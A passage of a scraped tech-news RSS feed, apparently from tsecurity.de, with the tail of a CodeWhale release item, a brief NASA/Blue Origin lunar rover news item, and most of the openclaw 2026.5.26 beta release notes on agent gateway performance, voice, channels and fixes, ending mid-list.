data-url="https://github.com/Hmbown/CodeWhale/issues/1859" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/1859/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/1859">#1859</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/victorcheng2333/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/victorcheng2333">@victorcheng2333</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492604914" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1870" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/1870/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/1870">#1870</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IIzzaya/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IIzzaya">@IIzzaya</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507761222" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1935" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/1935/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/1935">#1935</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PurplePulse/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PurplePulse">@PurplePulse</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4486519486" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1837" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/1837/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/1837">#1837</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyq1017/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyq1017">@cyq1017</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510134731" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1967" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/1967/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/1967">#1967</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/knqiufan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/knqiufan">@knqiufan</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494879534" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1906" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/1906/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/1906">#1906</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Colorful-glassblock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Colorful-glassblock">@Colorful-glassblock</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507894025" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1937" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/1937/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/1937">#1937</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hongqitai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hongqitai">@hongqitai</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528558014" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2237" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2237/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2237">#2237</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EmiyaKiritsugu3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EmiyaKiritsugu3">@EmiyaKiritsugu3</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490976234" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1852" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/1852/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/1852">#1852</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aboimpinto/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aboimpinto">@aboimpinto</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494977834" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1910" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/1910/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/1910">#1910</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HUQIANTAO/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HUQIANTAO">@HUQIANTAO</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528821837" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2240" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2240/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2240">#2240</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mvanhorn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mvanhorn">@mvanhorn</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521174801" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2156" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2156/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2156">#2156</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LING71671/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LING71671">@LING71671</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4475285951" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1797" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/1797/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/1797">#1797</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reidliu41/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reidliu41">@reidliu41</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528970538" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2241" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2241/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2241">#2241</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528239933" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2235" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2235/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2235">#2235</a>)</p>
<p>Full CHANGELOG: <a href="https://github.com/Hmbown/CodeWhale/blob/main/CHANGELOG.md#0847---2026-05-26">https://github.com/Hmbown/CodeWhale/blob/main/CHANGELOG.md#0847---2026-05-26</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA picks Blue Origin to deliver lunar rovers to the moon]]></title>
<description><![CDATA[NASA leaders detailed their plans for a moon base nearly two months after the successful completion of the Artemis II mission.]]></description>
<link>https://tsecurity.de/de/3549390/it-nachrichten/nasa-picks-blue-origin-to-deliver-lunar-rovers-to-the-moon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549390/it-nachrichten/nasa-picks-blue-origin-to-deliver-lunar-rovers-to-the-moon/</guid>
<pubDate>Wed, 27 May 2026 00:17:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[NASA leaders detailed their plans for a moon base nearly two months after the successful completion of the Artemis II mission.]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.26-beta.1]]></title>
<description><![CDATA[2026.5.26
Highlights

Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.
Better voice a...]]></description>
<link>https://tsecurity.de/de/3549287/downloads/openclaw-2026526-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549287/downloads/openclaw-2026526-beta1/</guid>
<pubDate>Tue, 26 May 2026 23:16:49 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.26</h2>
<h3>Highlights</h3>
<ul>
<li>Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.</li>
<li>Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.</li>
<li>More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage get reaction approvals.</li>
<li>Safer agents: Codex app-server auth, compaction, source replies, sandbox path handling, and usage-limit recovery are more robust; OpenAI-compatible providers avoid empty-tool and malformed payload failures.</li>
<li>More reliable replay and installs: legacy tool results, subagent spawn payloads, stale lock ownership, Windows stack-heavy startup, macOS restart validation, and Docker package preparation all fail less surprisingly.</li>
<li>Better install/update/release confidence: Alpine installs, stable update channels, Docker/package timeouts, Windows/macOS proof lanes, Testbox/Crabbox delegation, and plugin publish checks all got hardened.</li>
<li>New observability: Activity tab, gateway secret-prep traces, tool/model stream progress, OpenTelemetry LLM spans, release performance evidence, and richer missing telemetry signals make failures easier to inspect.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs and CLI surface.</li>
<li>Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507376112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85667/hovercard" href="https://github.com/openclaw/openclaw/pull/85667">#85667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512822495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86191/hovercard" href="https://github.com/openclaw/openclaw/pull/86191">#86191</a>)</li>
<li>Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual <code>/approve</code> commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510153620" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85894" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85894/hovercard" href="https://github.com/openclaw/openclaw/pull/85894">#85894</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510696445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85952/hovercard" href="https://github.com/openclaw/openclaw/pull/85952">#85952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>)</li>
<li>Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476707401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84094/hovercard" href="https://github.com/openclaw/openclaw/pull/84094">#84094</a>)</li>
<li>Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522311194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86798" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86798/hovercard" href="https://github.com/openclaw/openclaw/pull/86798">#86798</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488512713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84649/hovercard" href="https://github.com/openclaw/openclaw/pull/84649">#84649</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509730151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85843/hovercard" href="https://github.com/openclaw/openclaw/pull/85843">#85843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517570243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86517/hovercard" href="https://github.com/openclaw/openclaw/pull/86517">#86517</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520170077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86678/hovercard" href="https://github.com/openclaw/openclaw/pull/86678">#86678</a>)</li>
<li>Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.</li>
<li>Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.</li>
<li>Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.</li>
<li>Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.</li>
<li>Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.</li>
<li>Cron: default <code>cron.maxConcurrentRuns</code> to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.</li>
<li>QA-Lab: add <code>qa coverage --match &lt;query&gt;</code> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.</li>
<li>Discord/model picker: surface an alpha-bucket select (e.g. <code>A–G (12) · H–N (18) · O–Z (5)</code>) when the provider list or a provider's model list exceeds 25 items, so configs with <code>provider/*</code> wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.</li>
<li>Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3917789057" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/12831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/12831/hovercard" href="https://github.com/openclaw/openclaw/issues/12831">#12831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Build: include <code>ui:build</code> in the <code>full</code> and <code>ciArtifacts</code> profiles of <code>scripts/build-all.mjs</code> so <code>pnpm build</code> always rebuilds <code>dist/control-ui</code> after <code>tsdown</code> cleans <code>dist</code>, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499721411" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85206/hovercard" href="https://github.com/openclaw/openclaw/issues/85206">#85206</a>)</li>
<li>iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86989" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86989/hovercard" href="https://github.com/openclaw/openclaw/pull/86989">#86989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86990" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86990/hovercard" href="https://github.com/openclaw/openclaw/pull/86990">#86990</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86991" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86991/hovercard" href="https://github.com/openclaw/openclaw/pull/86991">#86991</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86992/hovercard" href="https://github.com/openclaw/openclaw/pull/86992">#86992</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86993/hovercard" href="https://github.com/openclaw/openclaw/pull/86993">#86993</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86994/hovercard" href="https://github.com/openclaw/openclaw/pull/86994">#86994</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</p>
</li>
<li>
<p>Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.</p>
</li>
<li>
<p>Agents/replay: repair legacy tool results before replay, preserve <code>sessions_spawn</code> transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455095754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82203" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82203/hovercard" href="https://github.com/openclaw/openclaw/pull/82203">#82203</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524958838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86934/hovercard" href="https://github.com/openclaw/openclaw/pull/86934">#86934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527204031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87025" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87025/hovercard" href="https://github.com/openclaw/openclaw/pull/87025">#87025</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520169285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86677" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86677/hovercard" href="https://github.com/openclaw/openclaw/pull/86677">#86677</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516861602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86476/hovercard" href="https://github.com/openclaw/openclaw/pull/86476">#86476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527248275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87030/hovercard" href="https://github.com/openclaw/openclaw/pull/87030">#87030</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522614131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86818/hovercard" href="https://github.com/openclaw/openclaw/pull/86818">#86818</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518201643" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86559/hovercard" href="https://github.com/openclaw/openclaw/pull/86559">#86559</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527294921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87031" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87031/hovercard" href="https://github.com/openclaw/openclaw/pull/87031">#87031</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503181039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85387/hovercard" href="https://github.com/openclaw/openclaw/pull/85387">#85387</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522554669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86814" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86814/hovercard" href="https://github.com/openclaw/openclaw/issues/86814">#86814</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525826501" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86964/hovercard" href="https://github.com/openclaw/openclaw/pull/86964">#86964</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.</p>
</li>
<li>
